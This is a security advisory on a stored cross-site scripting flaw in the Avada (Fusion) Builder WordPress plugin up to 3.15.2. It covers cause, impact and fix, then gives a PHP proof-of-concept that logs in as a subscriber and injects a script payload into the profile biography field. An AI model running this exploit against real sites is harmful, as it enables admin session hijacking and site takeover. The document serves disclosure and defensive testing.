Atomic Edge analysis of CVE-2026-1543 (metadata-based): This vulnerability affects the Avada (Fusion) Builder plugin for WordPress, specifically versions up to and including 3.15.2. An authenticated attacker with Subscriber-level access or higher can inject stored cross-site scripting payloads via multiple shortcodes. The CVSS score of 6.4 reflects a medium-to-high severity with network exploitability, low privileges, no user interaction, and a scope change that impacts confidentiality and integrity.
The root cause is insufficient input sanitization and output escaping in multiple shortcodes provided by the Fusion Builder plugin. Based on the CWE classification (79) and the description, the plugin fails to properly neutralize user-supplied input before rendering it in pages. This is common in WordPress shortcode handlers where user data (such as biographical information pulled through the Dynamic Data feature) gets processed and displayed. The shortcode likely retrieves data from user meta fields (like description or custom fields) without applying WordPress escaping functions such as esc_html() or wp_kses(). Atomic Edge analysis infers that the vulnerable shortcodes include at least those that output user profile data, but the exact shortcode names are not confirmed from code.
Exploitation requires an attacker to gain Subscriber-level access to the WordPress site. The attacker then updates their user profile, injecting malicious JavaScript into a field that the Fusion Builder shortcode pulls via the Dynamic Data feature. For example, the attacker could place alert(1) in the Biographical Info field. When an administrator views a page that uses the vulnerable shortcode to display that user’s biography, the script executes in the admin’s browser. The attack vector is authenticated and stored, meaning the payload persists until manually removed. No specific AJAX action or REST endpoint is mentioned in the metadata, but the likely entry point is through the WordPress user profile update mechanism (POST to /wp-admin/profile.php or /wp-admin/user-edit.php).
Remediation should apply proper output escaping to all shortcodes that render user-supplied or dynamic data. The plugin must use WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post() depending on the context. Input sanitization on user meta fields is also necessary, though the primary fix is escaping on output. The patched version is 3.15.3, which presumably implements escaping across all affected shortcodes.
Successful exploitation allows an authenticated attacker (Subscriber) to execute arbitrary JavaScript in the browser of any user who views a compromised page, typically an administrator. This can lead to session hijacking, credential theft, creation of rogue administrator accounts, defacement, or redirection to malicious sites. Since the payload executes in the security context of the victim, an admin-level impact can result in full site takeover.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1543 - Avada (Fusion) Builder <= 3.15.2 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Multiple Shortcodes
// This PoC demonstrates how a Subscriber-level attacker injects an XSS payload into their own user biography.
// A victim (admin) viewing a page with the vulnerable Fusion shortcode that displays user data triggers the payload.
// Configurable variables:
$target_url = 'http://example.com'; // Base WordPress URL
$attacker_username = 'subscriber_user';
$attacker_password = 'password_here';
// Step 1: Login as the subscriber to get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $attacker_username,
'pwd' => $attacker_password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch) . "n");
}
// Step 2: Fetch profile page to get the nonce
$profile_url = $target_url . '/wp-admin/profile.php';
curl_setopt($ch, CURLOPT_URL, $profile_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$profile_page = curl_exec($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/i', $profile_page, $nonce_matches);
if (!isset($nonce_matches[1])) {
die('Could not extract nonce from profile page.n');
}
$nonce = $nonce_matches[1];
// Step 3: Update biography with XSS payload
// Payload: Script that steals admin cookies or performs admin actions
$xss_payload = "<script>alert(1);</script>"; // Minimal proof-of-concept payload
$update_url = $target_url . '/wp-admin/profile.php';
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'_wpnonce' => $nonce,
'_wp_http_referer' => '/wp-admin/profile.php',
'from' => 'profile',
'checkuser_id' => '',
'user_login' => $attacker_username,
'email' => $attacker_email ?? '', // Assuming email known or pulled from previous step
'url' => '',
'first_name' => '',
'last_name' => '',
'nickname' => $attacker_username,
'display_name' => $attacker_username,
'description' => $xss_payload, // Biographical Info - the vulnerable field
'rich_editing' => 'true',
'syntax_highlighting' => 'true',
'admin_color' => 'fresh',
'comment_shortcuts' => 'false',
'admin_bar_front' => 'true',
'locale' => '',
'submit' => 'Update Profile'
]));
$result = curl_exec($ch);
if (strpos($result, 'Profile updated.') !== false || strpos($result, 'profile-updated') !== false) {
echo "[+] Payload injected successfully.n";
echo "[+] Any admin viewing a page with the Fusion Builder shortcode that pulls user biography will execute the script.n";
} else {
echo "[-] Could not confirm payload injection. Check credentials and permissions.n";
}
curl_close($ch);
// Clean up cookie file
unlink('/tmp/cve_cookies.txt');
